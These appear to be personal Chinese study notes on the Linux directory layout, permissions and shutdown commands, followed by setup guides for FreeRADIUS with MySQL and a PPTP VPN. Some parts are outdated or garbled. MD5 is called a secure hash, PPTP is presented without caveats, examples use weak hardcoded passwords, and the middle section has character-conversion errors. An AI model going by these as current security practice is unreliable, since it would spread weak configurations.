  • /media 例如U盘、光驱等等,当识别后,linux 会把识别的设备挂载到这个目录下。
  • /mnt 系统提供该目录是为了让用户临时挂载别的文件系统的,如:光驱.
  • /opt 这是给主机额外安装软件所摆放的目录。比如你安装一个 ORACLE 数据库则就可以放到这个目录下。默认是空的。
  • /proc 这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的 ping 命令,使别人无法 ping 你的机器: echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all。
  • /root 该目录为系统管理员,也称作超级权限者的用户主目录。
  • /sbin s 就是 Super User 的意思,这里存放的是系统管理员使用的系统管理程序。
  • /srv 该目录存放一些服务启动之后需要提取的数据。
  • /tmp 这个目录是用来存放一些临时文件的。
  • /usr 重要目录,用户的很多应用程序和文件都放在这.

    类似与 windows 下的 program files目录。

  • /usr/bin:系统用户使用的应用程序。
  • /usr/sbin:超级用户使用的比较高级的管理程序和系统守护程序。
  • /usr/src:内核源代码默认的放置目录。
  • /var 这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。

在 linux 系统中,有几个目录是比较重要的,平时需要注意不要误删除或者随意更改内部文件。
/etc: 这个是系统中的配置文件,更改该目录可能会导致系统不能启动。
/bin, /sbin, /usr/bin, /usr/sbin: 这是系统预设的执行文件的放置目录,比如 ls 就是在 /bin/ls 目录下的。值得提出的是,/bin, /usr/bin 是给系统用户使用的指令(除 root 外的通用户),而 /sbin, /usr/sbin 则是给 root 使用的指令。
/var: 这是一个非常重要的目录,系统上跑了很多程序,那么每个程序都会有相应的日志产生,而这些日志就被记录到这个目录下,具体在 /var/log 目录下,另外 mail 的预设放置也是在这里。

如何正确关机

如果你要关机,必须要保证当前系统中没有其他用户在线。
查看在线用户: who 这个指令,
查看网络状态, netstat -a 这个指令,
查看背景执行的程序: ps -aux 这个指令。

正确的关机流程为:sysnc ? shutdown ? reboot ? halt

sync 将数据由内存同步到硬盘中。 shutdown 关机指令,你可以man shutdown 来看一下帮助文档。例如你可以运行如下命令关机: shutdown –h 10 ‘This server will shutdown after 10 mins’ 这个命令告诉大家,计算机将在10分钟后关机,并且会显示在登陆用户的当前屏幕中。 Shutdown –h now 立马关机 Shutdown –h 20:25 系统会在今天20:25关机 Shutdown –h +10 十分钟后关机 Shutdown –r now 系统立马重启 Shutdown –r +10 系统十分钟后重启 reboot 就是重启,等同于 shutdown –r now halt 关闭系统,等同于shutdown –h now 和 poweroff 最后总结一下,不管是重启系统还是关闭系统,首先要运行 sync 命令,把内存中的数据写到磁盘中。关机的命令有 shutdown –h now halt poweroff 和 init 0 , 重启系统的命令有 shutdown –r now reboot init 6。

忘记 root 密码如何做

Windows 忘记管理员密码,用光盘清除密码.
linux 忘记 root 密码,进入单用户模式更改一下 root 密码即可。

Linux Structure

/ 根目录: (只放目录 不放文件) ┣━━━ root root’s 的家目录. (/home 是草民住的地方 -.-) ┃ Advice: /root & / 放同一个分区. ┃ ┣━━━ bin Binaries 常用执行文件(命令) ┃ 包括 系统启动/单用户模式/恢复模式 下运行时所需的文件. ┃ bash,busybox,zsh ┃ cat,cp,dd,dir,echo,grep,kill,ls,login,less…… ┣━━━ sbin System-only binaries ┃ 重要执行文件(命令) (普通用户只能查看不能使用!!!) ┃ ┣━━━ etc 系统&程序 配置文件 修改之前必须备份 不要放可执行文件 ┃ ┗━━━ X11 与 X windows 有关的设置. ┃ ┣━━━ lib; /usr/lib; /usr/local/lib (libraries) 系统使用的函数库 ┃ 程序执行过程中需要调用一些额外的参数时,就需要函数库的协助. ┃ ┗━━━ modules 比较重要 ┃ ┣━━━ usr 应用程序 (unix software resource): 不是 user 的缩写 ┃ X 下所有程序数据都在这里.包括 图标 manual … ┃ ┗━━━ share 共享数据. ┃ ┗━━━ doc 系统说明文件 ┃ ┗━━━ *man 程序说明文件 ┃ man ls → /uer/share/man/man1/ls.1.gz 的内容; 单独分区+大空间. ┃ ┗━━━ bin 应用程序. ┃ ┗━━━ lib 函数库 (许多程序运行所必须的) ┃ ┗━━━ local 软件升级包. ┃ ┣━━━ var 系统运行过程中经常变化的东西. (variable 变量) ┃ ┣━━━ log 随时更改的日志文件 ┃ ┣━━━ message 所有登录文件 ┃ ┣━━━ spool ┃ ┣━━━ mail 邮件目录
┃ ┣━━━ run 程序/服务启动后.其 PID 就存在这里 ┃ ┣━━━ boot 系统内核 ┃
┃ ┗━━━ grub Syatem 引导程序 & 引导菜单 建议单独分区. 只要100M 即可 ┣━━━ cdrom ┣━━━ media 光盘默认挂载点之一 ;还有 /mnt/cdrom ┣━━━ dev (Devices)
┃ 设备文件; 访问某个文件=访问某个设备(最常用:挂载) ┃ Linux 中,所有的硬件装置档案都在 /dev 这个目录内. ┃ /dev/hda ; /dev/hdb ; /dev/sda ; /dev/console. ┃ 机械硬盘a; 机械硬盘b; 固态硬盘a; Console 线 . ┃ ┣━━━ block ┃ ┣━━━ bsg ┃ ┣━━━ bus ┃ ┣━━━ char ┃ ┣━━━ disk 盘信息.(挂载硬盘信息) ┃ ┃ ┣━━━ by-id 硬盘分区的永久性符号链接 ┃ ┃ ┣━━━ by-label 按卷标识别的硬盘分区, 用于挂载 ┃ ┃ ┣━━━ by-path 硬盘分区的节点链接 ┃ ┃ ┣━━━ by-uuid 按 UUID 识别的硬盘分区, 用于挂载 ┃ ┣━━━ dri
┃ ┣━━━ fd ┃ ┣━━━ input ┃ ┣━━━ net ┃ ┣━━━ pts ┃ ┣━━━ shm ┃ ┣━━━ snd ┣━━━ home 系统默认家目录, 必须独立的分区挂载到这里. 建议 单独分区 & 大磁盘空间. 方便用户存放数据 新增用户账户的家目录都在这 ~: 当前用户的家目录 ~xu.jian: 用户xujian的家目录. ┃ ┣━━━ adagio 真正的家,目录名就是账号名. ┃ ┣━━━ MNT 挂载其他硬盘分区的地方.
┃ ┣━━━ test 另一个家目录 专用测试.一旦搞坏.只要删除里面所有文件就能恢复 ┣━━━ media 文件管理器里点击后自动挂载的分区,按卷标命名. ┣━━━ mnt (Mount) ┃ 挂载硬盘 最常用的位置 (一般人都挂这里而已) ┣━━━ opt (Optionally 可选) ┃ 额外软件的安装没有了. 喜欢把数据放这里 如 JAVA ┣━━━ proc (Process) ┃ 系统核心,外部设备,网络状态. 这个文件夹在内存中 不在硬盘里的!! ┣━━━ srv 服务启动后 需要访问的目录 ┃ 如 WWW 服务的网页数据 → /srv/www 内 ┣━━━ sys System 系统核心文件. 类似 /proc 不管 ┣━━━ tmp 临时文件位置.不能放重要数据.重启数据消失.

┣━━━ backups ┣━━━ cache ┣━━━ apt
┣━━━archives 存放你安装的所有程序的 安装包.重装系统非常有用. 建议整个 /var 挂载到独立分区.就像 /home 一样 重装系统后 只要整个分区挂 载到/ var 就可以了. 省去备份还原时间. 这些包科室有几个 G 的. ┣━━━ crash ┣━━━ games ┣━━━ lib ┣━━━ local ┣━━━ mail 存放所有用户 email 的地方. ┣━━━ opt ┣━━━ tmp Temporary files

前一个工作目录(切换回之前目录用)

/dev 所需要的装置档案

File Permission Linux :

| 权限 | 连接数 | 文件所有者 | 文件所在组 | 文件大小(byte) | 最后修改日期 | 文件名 |
| -rw-r–r– | 1 | v | staff | 3561 | 10 13 17:05 | .zshrc |

- → 文件 ;
d → 目录 ;
l → 快捷方式

改变文件权限 chmod chmod -R 770 desktop
改变文件所属组 chgrp change group
改变文件拥有者 chown change owner chown -R desktop
    改整个文件夹,复制文件给别人就需要改这个了!!!!

r 权限 用户只能读取文件夹名字 不能进入文件夹.
x 权限 能不能运行 / 用户能不能进文件夹. 文件具体是什么种类的 还是通过扩展名来确定.

/dev 设备文件
||| |:—:|:—:| 任何硬件硬盘 键鼠 /接口讴备都是以档案的型态存在二这个目彔当中的。
比要重要的档案有 /dev/null, /dev/zero, /dev/tty, /dev/lp, /dev/hd, /dev/sd*等等

区块设备: 存储数据. 硬盘
字符设备: 键盘鼠标 一次性读取的

资料接口文件 socks /var/run 启动一个程序 来监听客户端要求 客户端通过这个接口来数据沟通

.sh 脚本 / 批处理文件 .tar 压缩文件 .php 通过浏览器得到运算后的结果.

/usr (软件放置处) (unix software resource):软件安装/执行有关; /etc (配置文件) /opt (第三方协力软件)       /boot (开机不核心档) /var/run (程序相关) (variable):系统运作过程有关。 /var/lock (程序相关) / (root, 根目彔):开机系统有关;

/bin 系统有徆多放置执行文件的目彔,但/bin 比较特殊。因为/bin 放置的是在单人维护模 /bin 式下还能够被操作的挃令。 在/bin 底下的挃令可以被 root 不一般账号所使用,主要 有:cat, chmod, chown, date, mv, mkdir, cp, bash 等等常用的挃令。

/boot

这个目彔主要在放置开机会使用到的档案,包括 Linux 核心档案以及开机选单不开机 /boot 所需配置文件等等。 Linux kernel 常用的档名为:vmlinuz,如果使用的是 grub 这 个开机管理程序, 则还会存在/boot/grub/这个目彔喔!

  /etc 系统主要的配置文件几乎都放置在这个目彔内,例如人员的账号密码文件、 各种朋务 的吪始档等等。一般来说,这个目彔下的各文件属怅是可以让一般使用者查阅的, 但 是只有 root 有权力修改。FHS 建议丌要放置可执行文件(binary)在这个目彔中喔。比 较重要的档案有: /etc/inittab, /etc/init.d/, /etc/modprobe.conf, /etc/X11/, /etc/fstab, /etc/sysconfig/ 等等。另外,其下重要的目彔有: 􏰀  /etc/init.d/:所有朋务的预讴吪劢 script 都是放在这里的,例如要吪劢戒者关 闭 iptables 的话:『 /etc/init.d/iptables start』、『/etc/init.d/iptables stop』

􏰀  /etc/xinetd.d/:这就是所谓的 super daemon 管理的各顷朋务的配置文件目 彔。

􏰀  /etc/X11/:不 X Window 有关的各种配置文件都在这里,尤其是 xorg.conf 这个 X Server 的配置文件。

 /home 这是系统默讣的用户家目彔(home directory)。在你新增一个一般使用者账号时, 默 讣的用户家目彔都会觃范到这里来。比较重要的是,家目彔有两种代号喔: :代表目前这个用户的家目彔,而 dmtsai :则代表 dmtsai 的家目彔!

/lib

系统的函式库非常的多,而/lib 放置的则是在开机时会用到的函式库, 以及在/bin 戒 /sbin 底下的挃令会呼叫的函式库而已。 什举是函式库呢?妳可以将他想成是『外 挂』,某些挃令必项要有这些『外挂』才能够顸利完成程序的执行乀意。 尤其重要的 是/lib/modules/这个目彔, 因为该目彔会放置核心相关的模块(驱劢程序)喔!

/opt 这个是给第三方协力软件放置的目彔。什举是第三方协力软件啊? 丼例来说,KDE 这个桌面管理系统是一个独立的计划,丌过他可以安装到 Linux 系统中,因此 KDE /opt 的软件就建议放置到此目彔下了。 另外,如果妳想要自行安装额外的软件(非原本的 distribution 提供的),那举也能够将你的软件安装到这里来。 丌过,以前的 Linux 系 统中,我们还是习惯放置在/usr/local 目彔下呢!

/sbin inux 有非常多挃令是用来讴定系统环境的,这些挃令只有 root 才能够利用来『讴 定』系统,其他用户最多只能用来『查询』而已。 放在/sbin 底下的为开机过程中所 需要的,里面包括了开机、修复、还原系统所需要的挃令。 至二某些朋务器软件程 序,一般则放置到/usr/sbin/当中。至二本机自行安装的软件所产生的系统执行文件 (system binary), 则放置到/usr/local/sbin/当中了。常见的挃令包括:fdisk, fsck, ifconfig, init, mkfs 等等。

/srv srv 可以规为『service』的缩写,是一些网络朋务吪劢乀后,这些朋务所需要取用的 /srv 数据目彔。 常见的朋务例如 WWW, FTP 等等。丼例来说,WWW 朋务器需要的网页 资料就可以放置在/srv/www/里面。

􏰀 /etc:配置文件
􏰀 /bin:重要执行档
􏰀 /dev:所需要的装置档案
􏰀 /lib:执行档所需的函式库不核心所需的模块 􏰀 /sbin:重要的系统执行文件

/usr 为 user 的缩写,其实 usr 是 Unix Software Resource 的缩写, 也就是『Unix 操作系统软件资源』所放置的目彔,

/var 的意丿不内容: 如果/usr 是安装时会占用较大硬盘容量的目彔,那举/var 就是在系统运作后才会渐渐占用硬盘容量的目 彔。 因为/var 目彔主要针对常态怅变劢的档案,包括快取(cache)、登彔档(log file)以及某些软件运作 所产生的档案, 包括程序档案(lock file, run file),戒者例如 MySQL 数据库的档案等等。常见的次目 彔有:

/var/lib/
程序本身执行的过程中,需要使用到的数据文件放置的目彔。在此目彔下各自的软 /var/lib/ 件应该要有各自的目彔。 丼例来说,MySQL 的数据库放置到/var/lib/mysql/而 rpm 的数据库则放到/var/lib/rpm 去!

/var/log/

重要到丌行!这是登彔文件放置的目彔!里面比较重要的档案如 /var/log/messages, /var/log/wtmp(记彔登入者的信息)等。

绝对路径 / 相对路径 也可将所谓的路径(path)定丿为绝对路径(absolute)不相对路径(relative)。

 相对路径:相对目前路径的文件名写法。 例如 ./home/dmtsai 戒 ../../home/dmtsai/ 等等。
反正开头丌是 / 就属二相对路径的写法

􏰀  . :代表当前的目彔,也可以使用 ./ 来表示;

􏰀  .. :代表上一层目彔,也可以 ../ 来代表。

linux 常识

Linux 中 每个设备 都当成一个文件 来对待. /dev 几乎所有硬件都在这里.

etc———系统设定档桉储存地方 var———改动频繁的档桉, 都置放于此, 例如各log档桉 bin———储存有基本的UNIX指令 sbin——–UNIX 系统指令的储存地方, 是比较进阶的指令

ls -m 紧凑显示所有内容.而不是 一行一个文件.

ls 列目录 下的 所有文件名与相关属性 list的意思

ls -al 目录下的 所有隐藏文件和 文件属性.

drwxr-xr-x+ 47 V staff 1598 4 9 20:07 . drwxr-xr-x@ 5 root admin 170 2 27 09:20 .. -r——– 1 V staff 9 2 25 14:36 .CFUserTextEncoding -rw-r–r–@ 1 V staff 22532 4 10 14:42 .DS_Store 文件类型 权限 连接数 拥有者 文件所在群组 文件大小 文件最后修改时间 文件名字 文件权限 d 表示目录 - 表示文件 l 表示链接! 接下来 三个一组 rwx read write execute 读写 可执行 rwx 位置不会变 没有权限显示-
第一组 owner 第二组本群组 第三组其他非本群组

ls - - - list 目录清单- 目录 文件 权限

-r reverse 反序排列

HASH & MD5

Hash 翻译散列. 音译哈希

一种 将任意长度的消息压缩到某一固定长度的消息摘要的函数。

特性: (使用同一函数的情况下) 结果不一样 . 原始值肯定也不一样.

常用 Hash 算法:

  • MD5 Message Digest 消息摘要.

    Function :

  • 文件校验
  • 数字签名.

MD5-Hash-文件的数字文摘通过Hash函数计算得到。 不管文件长度如何,它的Hash函数计算结果是一个固定长度的数字。 与加密算法不同,这一个Hash算法是一个不可逆的单向函数。采用安全性高的Hash算法,如MD5、SHA时,两个不同的文件几乎不可能得到相同的Hash结果。因此,一旦文件被修改,就可检测出来。

FreeRadius

简介 + 详细安装配置教程

FreeRADIUS 官网链接

Radius 极品教程链接

Remote Authentication Dial In User Service 远程用户拨号认证系统

命令中心: 简介
/etc/init.d/freeradius start/stop/restart 脚本启动服务
freeradius -X 或者 radiusd -X Debug 模式来启动服务
   
配置文件: 简介 本文
vi /etc/freeradius/radiusd.conf 开启 sql 功能 FreeRADIUS 主配置文件:包含各种子配置文件
vi /etc/freeradius/clients.conf 添加NAS客户端用  
vi /etc/freeradius/sql.conf 配置数据库端口 用户名 密码
开启:使radius 可以从数据库 读取客户端信息.
3306 radius xujian
/etc/freeradius freeradius 配置文件目录  
/sbin freeradius 运行文件目录  
三A框架 安全架构模型 Triple A Framework
authentication 验证 用户是否有权限访问网络.
用户名,密码是否正确
authorization 授权 哪些用户能使用哪些服务 分配 IP 地址
accounting 记账 记录用户网络资源的使用情况
     
结构: C/S Client / Server 端 合理分配任务,降低系统开销。
通信方式: UDP 快速但不安全 1812端口监听 authentication
1813端口监听 accounting
简拼 比喻: 详解
NAS 路由器 Network Access Server
提供上网功能的设备
通过控制实现网络的 合理+安全 使用
可比喻成 VPN服务器 / 路由器 / 智能交换机
Radius 电信提供拨号上网的服务器  

验证 授权 记账 流程:

对象    
用户 想上网 向路由器发送接入请求 (输入用户名 密码)
路由器 收到用户请求 向radius服务器转发用户的接入请求
Radius 收到 路由器 转发的请求 查询数据库,得出结果 .
向 路由器 返回消息包
路由器 根据 Radius 的返回消息包 判断用户能否接入 能就开始上网 不能就断开用户连接.
开始上网: 路由器 → RADIUS: 发送记费开始请求包 表明对该用户已经开始记费,
结束上网: 路由器 → RADIUS: 发送记费停止请求包 上网时长,上传下载流量,等使用的网络资源统计

FreeRadius:

部署最广泛最实用的开源RADIUS软件. 缺点: 配置复杂.
服务端 和 客户端 可以是一台设备 也可以是分开的两台设备.
实例 高校:用学号密码 就能登录校园wifi. 只需: Radius 的服务器. 支持 Radius 的无线路由器(能刷 dd-wrt).
  比如 功能
服务端 VPS 运行freeradius 服务端软件
客户端 路由器 负责将用户信息 传递给服务器
用户端 手机 是不需要安装客户端的

PPTP

Debian 安装教程:

一键安装脚本.

apt-get update ; apt-get install pptpd -y

sed -i ‘N;$d’ /etc/pptpd.conf

echo -e “localip 192.168.217.1\nremoteip 192.168.217.234-238,192.168.217.245” >> /etc/pptpd.conf

echo xujian pptpd 0219 * >> /etc/ppp/chap-secrets

sed -i -e ‘s/^#.ms-dns 192.168.1.1/ms-dns 8.8.8.8/g’ -i -e ‘s/^#.ms-dns 192.168.1.2/ms-dns 8.8.4.4/g’ /etc/ppp/options

sed -i ‘s/^#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g’ /etc/sysctl.conf

sysctl -p ; /etc/init.d/pptpd restart ;apt-get install iptables

iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADE

iptables-save > /etc/iptables.pptp

cd /etc/network/if-up.d/ ; touch iptables

echo -e “#!/bin/sh” -e “\niptables-restore < /etc/iptables.pptp” >> iptables

chmod +x /etc/network/if-up.d/iptables

  • 检查并更新本地软件库: 只更新列表 不更新软件?

      apt-get update   #更新软件库
      apt-get upgrade  #升级软件 少用. -y 直接同意安装.
    

安装 PPTP

    apt-get install pptpd

配置 PPTP

删除文件最后两行.

    sed -i 'N;$d' /etc/pptpd.conf   

添加两行到文件末尾

    echo -e "localip 192.168.217.1\nremoteip 192.168.217.234-238,192.168.217.245" >> /etc/pptpd.conf

第一行: vpn 服务器的 IP 地址 随便写,但不要和本地地址冲突就行。​
第二行: 连接 VPN 后,客户端获取到的 IP 地址,(vpn 分配给你的 IP).

添加 VPN 帐户

echo xujian pptpd 0219 \* >> /etc/ppp/chap-secrets

格式: 一行一人 : 用户名 pptpd 用户密码 *(别忘记最后这个星号)  

修改 DNS 服务器

sed -i -e 's/^#.ms-dns 192.168.1.1/ms-dns 8.8.8.8/g' -i -e 's/^#.ms-dns 192.168.1.2/ms-dns 8.8.4.4/g' /etc/ppp/options

i 参数  直接编辑文件.
e 参数 同时执行多项编辑.

开启 IPv4 转发

sed -i 's/^#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g' /etc/sysctl.conf

应用配置 + 重启 PPTP 服务 + 安装 iptables:

sysctl -p ; /etc/init.d/pptpd restart ;apt-get install iptables

开启iptables转发 (分两个命令运行)

大概就是 在 iptables 下面的 nat 表 里面添加规则,允许转发.

iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADE

iptables-save > /etc/iptables.pptp

 

开机自动加载 iptables

去指定目录; 创建iptables文件 (其实是脚本);
写入内容: #!/bin/sh iptables-restore < /etc/iptables.pptp
并给新建脚本运行权限

cd /etc/network/if-up.d/ ; touch iptables

echo -e "#\!/bin/sh" -e "\niptables-restore \< /etc/iptables.pptp" >> iptables ;  

chmod +x /etc/network/if-up.d/iptables

问题汇总:

连上 vpn 能上 qq 不能上网:

Ubuntu

pptp vpn 安装:

  1. 安装 pptp : apt-get install pptpd

  2. 编辑 pptp.conf vi /etc/pptpd.conf
  3. 将以下内容行的注释去掉:(18 / 99 / 100 行) option /etc/ppp/pptpd-options localip 192.168.0.1 remoteip 192.168.0.201-245 这两句设置了当外部计算机通过pptp联接到vpn后所能拿到的ip地址范围和服务器的ip地址设置。

  4. 添加登录用户 vi /etc/ppp/chap-secrets 添加一行,格式如下 用户名 pptpd “你想要的密码” * 用户名不要引号 密码要用半角双引号括起来 千万不能忘了 星号.星号是说允许从任何IP地址联接,如果你想单独设定IP地址也可以。

理论上到这里一个vpn就已经搭建完毕了。无论你用的是Windows还是OSX,或者是iPhone OS,都可以通过建立一个pptp链接来联入这个VPN。

不过你并不能通过这个来上Internet,因为所有的数据都作用于那台pptpd的服务器上, 而不会传入拨入的计算机设备上。要上Internet还需要这么干:

设置DNS解析,编辑pptpd-options vi /etc/ppp/pptpd-options


Radius 启用 MySQL

反注释 743 行: $INCLUDE sql.conf

vi /etc/freeradius/radiusd.conf

编辑 Radius 数据库配置文件 设置数据库类型 用户密码(要和 sql 密码统一).

vi /etc/freeradius/sql.conf
  • 反注释 108行 readclients = yes 来使得 freeradius 从数据库 读取客户端信息.

  • 自定义设置(同步修改别的配置文件.)

    • mysql 数据库的端口 37行.
    • radius 数据库的 用户名 密码等内容 39行
    • 默认:端口 3306 用户名 radius 密码 xujian

配置 令其使用 mysql 作为数据存储设备

vim /etc/freeradius/sites-available/default
  • authorize{}字段 (69行) 下:
    • 注释 170行 files 行

      这里的file指的就是usrs文件
      将不再把用户信息写在users而使用mysql来存储用户信息

    • 反注释 177行 sql 行
  • accounting{} 字段 (379行) 下:
    • 反注释 407行 的 sql 来启用sql来记录统计信息、
  • session{}字段 (451行) 下:
    • 反注释 456行 sql行 启用用户同时登录限制功能.(可选功能)
  • post-auth{} 字段 (464行) 下:
    • 反注释 478行 sql 行 启用用户登录后进行数据记录功能.

如果你启动了 启用用户同时登录限制功能 那么接下来还要做这一步

vim /etc/freeradius/sql/mysql/dialup.conf

找到下面几行(289-293行) 并反注释.

Uncomment simul_count_query to enable simultaneous use checking
simul_count_query = "SELECT COUNT(*) \
                     FROM ${acct_table1} \
                     WHERE username = '%{SQL-User-Name}' \
                     AND acctstoptime IS NULL"

3、进行测试; mysql -u root -p mysql> use radius; mysql> insert into radcheck(username,attribute,value,op)values(“lansgg”,”Cleartext-Password”,”password123”,”=”);

重启 freeradius

radtest lansgg password123 localhost 10 testing123

到这里 mysql 的配置就算完成了.

设置信息汇总:

–MySQL– localhost: 3306 –Radius– authentication *: 1812 accounting *: 1813 inner-tunnel authentication 127.0.0.1: 18120 Proxy *:1814


1.Freeradius 服务端+测试工具

Freeradius 服务端: + 测试工具安装

安装方式   安装版本
:——-: :—————————— +『a-_- :————–
自动安装: sudo apt-get install freeradius 非最新版
手动安装: 编译源代码 最新版,推荐.

手动安装流程:

  • 卸载软件: ( 如果之前安装过 freeradius 2.0 的话 )
    • apt-get remove freeradius
    • apt-get autoremove

      自动卸载不需要的软件.

  • 官网下载最新版 源编码包. ( Debian 下载方法: wget + 下载链接 )

指定FreeRADIUS Server地址,并设置通信密码

cat >>/usr/local/etc/radiusclient/servers<<EOF localhost testing123 EOF 注意:这里的通信密码不建议更改!经本人测试,更改后使用不正常。

具体命令

更新软件库:

apt-get update-y ;  

安装编译环境( gcc/make ):

sudo apt-get install gcc
sudo apt-get install make

下载服务端 源代码压缩包

cd ~

wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.0.10.tar.gz

解压压缩包

tar -xzf freeradius-server-3.0.10.tar.gz ; cd freeradius-server-3.0.10

编译源代码 + 安装:

./configure  ; make  ; make install

测试能否运行:

radiusd –X

进行debug模式启动
最后出现: Ready to process requests 
就表明安装成功了.

安装测试工具

apt-get install freeradius-utils-y

然后打开另一个终端、使用radtest来测试用户是否能够通过

radtest steve testing localhost 1812 testing123

\@: 无标题

网络安全 RADIUS协议的加密是使用MD5加密算法进行的,
在RADIUS的客户端(NAS)和服务器端(Radius Server)保存了一个密钥(key),
RADIUS协议利用这个密钥使用MD5算法对RADIUS中的数据进行加密处理。密钥不会在网络上传送。
RADIUS的加密主要体现在两方面:报签名和口令加密。

用户 通过某个 宽带/wifi 与 NAS(网络接入服务器)(电信公司网络服务器) 建立连接从而获得访问其他网络的权利时,

NAS可以选择在NAS上进行本地认证计费,
或把用户信息传递给RADIUS服务器,由Radius进行认证计费;

端口: 认证端口号为1812或1645,
计费端口号为1813或1646。

RADIUS通过建立一个唯一的用户数据库,存储用户名,用户的密码来进行验证;
存储传递给用户的服务类型以及相应的配置信息来完成授权。

Radius 客户端:

  • RADIUS服务器 和 想要网络权限的用户/设备的中间人.

  • RADIUS协议中的客户端是:
  • 对用户(人或者计算机)提供网络连接服务的设备,
  • 对服务器提出验证和计费要求。

服务器针对客户端的通过进行验证和计费给予应答。
服务器只有针对客户端的请求进行应答,而无法直接对用户进行服务停止等的请求。

任何运行RADIUS客户端软件的计算机都可以成为RADIUS的客户端

在客户端和服务器端之间可以建立成功的通信之前, 每一端必须定义一个shared secret.
这个是用来authenticate客户端.

Alice Bob :占位名 Alice :一个要访问网络的用户 Bob : 另一个要访问网络的用户 Isaac: ISP(Internet Service Provider)/我们的网络

Authorization是一种Isaac控制资源使用的方式. 就像 银行 ATM 机器

DaloRadius

  • 高级 Radius 网页应用程序.
  • 用于管理热点.及 进行地图定位.

配置流量统计功能

添加流量统计器:

vim /etc/raddb/sql/mysql/counter.conf 添加一个以月为单位的流量计算器,这里除以1048576是将流量以Mb计算:

{%raw%} sqlcounter monthlytrafficcounter { counter-name = Monthly-Traffic check-name = Max-Monthly-Traffic reply-name = Monthly-Traffic-Limit sqlmod-inst = sql key = User-Name reset = monthly query = “SELECT cast(SUM(cast(acctinputoctets as decimal)/1048576 +cast(acctoutputoctets as decimal)/1048576)as signed) FROM radacct WHERE UserName=’%{%k}’ AND UNIX_TIMESTAMP(AcctStartTime) > ‘%b’” } {%endraw%} 添加字典

vim /etc/raddb/dictionary 添加下面两行

ATTRIBUTE Max-Monthly-Traffic 3003 integer ATTRIBUTE Monthly-Traffic-Limit 3004 integer 启用Traffic Counter

vim /etc/raddb/sites-enabled/default 在authorize里添加monthlytrafficcounter(上面添加的流量统计器),像下面这样

authorize { … monthlytrafficcounter } 剩下就是修改用户权限了,这里直接抄一个过来(http://wangyan.org/blog/freeradius-pptp-l2tp-html.html):

添加用户test,密码test,注意是在radchec表

INSERT INTO radcheck (username,attribute,op,VALUE) VALUES (‘test’,’Cleartext-Password’,’:=’,’test’);

将用户test加入VIP1用户组

INSERT INTO radusergroup (username,groupname) VALUES (‘test’,’VIP1’);

限制同时登陆人数,注意是在radgroupcheck表

INSERT INTO radgroupcheck (groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Simultaneous-Use’,’:=’,’3’);

添加NAS

INSERT INTO radius.nas VALUES (‘1’,’192.168.8.129’,’Toky’, ‘other’, NULL ,’linodecn.net’,NULL ,NULL ,’RADIUS Client’);

其他(选做)

INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Auth-Type’,’:=’,’Local’); INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Service-Type’,’:=’,’Framed-User’); INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Framed-Protocol’,’:=’,’PPP’); INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Framed-MTU’,’:=’,’1500’); INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Framed-Compression’,’:=’,’Van-Jacobson-TCP-IP’);

打开从数据库查询nas支持 默认从”/usr/local/etc/raddb/clients.conf” 文件读取,开启后可从数据库nas表读取。 sed -i’s/#readclients/readclients/g’ /usr/local/etc/raddb/sql.conf 打开在线人数查询支持

查找simul_count_query将279-282行注释去掉

vim /usr/local/etc/raddb/sql/mysql/dialup.conf

用户权限管理 连接 MySQL数据库
mysql -uroot -p123456;

使用 radius 数据库

USE radius;

添加用户demo,密码demo,注意是在radchec表

INSERT INTO radcheck(username,attribute,op,VALUE) VALUES (‘demo’,’Cleartext-Password’,’:=’,’demo’);

将用户demo加入VIP1用户组

INSERT INTO radusergroup(username,groupname) VALUES (‘demo’,’VIP1’);

限制同时登陆人数,注意是在radgroupcheck表

INSERT INTO radgroupcheck(groupname,attribute,op,VALUE) VALUES (‘normal’,’Simultaneous-Use’,’:=’,’1’);

其他

INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Auth-Type’,’:=’,’Local’); INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES(‘VIP1’,’Service-Type’,’:=’,’Framed-User’); INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Framed-Protocol’,’:=’,’PPP’); INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES (‘VIP1’,’Framed-MTU’,’:=’,’1500’); INSERT INTO radgroupreply(groupname,attribute,op,VALUE) VALUES(‘VIP1’,’Framed-Compression’,’:=’,’Van-Jacobson-TCP-IP’); 启动 cp /usr/local/sbin/rc.radiusd/etc/init.d/radiusd
/etc/init.d/radiusd start

测试客户端: radtest demo demo localhost 1812testing123  radtest 为radius 测试命令 demo demo 前面为用户名 后面为密码 127.0.0.1 1812 freeradius 服务器IP地址及端口 默认1812 testing123 为 client.conf 中配置的secret 字段。 “Access-Accept packet” 表示成功了,”Access-Reject” 表示失败了。

验证数据库,请仔细查看用户demo字段属性:  基中ppoe 拨号 radcheck 表中attribute 字段值必为:Cleartext-Password 否则用户登陆不成功。 ps:这个字段值可以修改,请有心童鞋费心一下。


Radius 流控

文章目录

 安装 FreeRADIUS 工具箱(含测试工具) — apt-get install freeradius-utils

安装 Mariadb 数据库(mysql 替代版)

 配置 客户端 

 取消注释 steve段(81-89行) :开启测试 

    vi /etc/freeradius/users 

改共享密码 : Cleartext-Password := “xujian”

  • 查看防火墙状态: iptables -L
  • 如有需要 修改防火墙配置 允许freeradius所使用的端口1812,1813通过。 iptables -A INPUT -p udp –dport 1812 -j ACCEPT iptables -A INPUT -p udp –dport 1813 -j ACCEPT

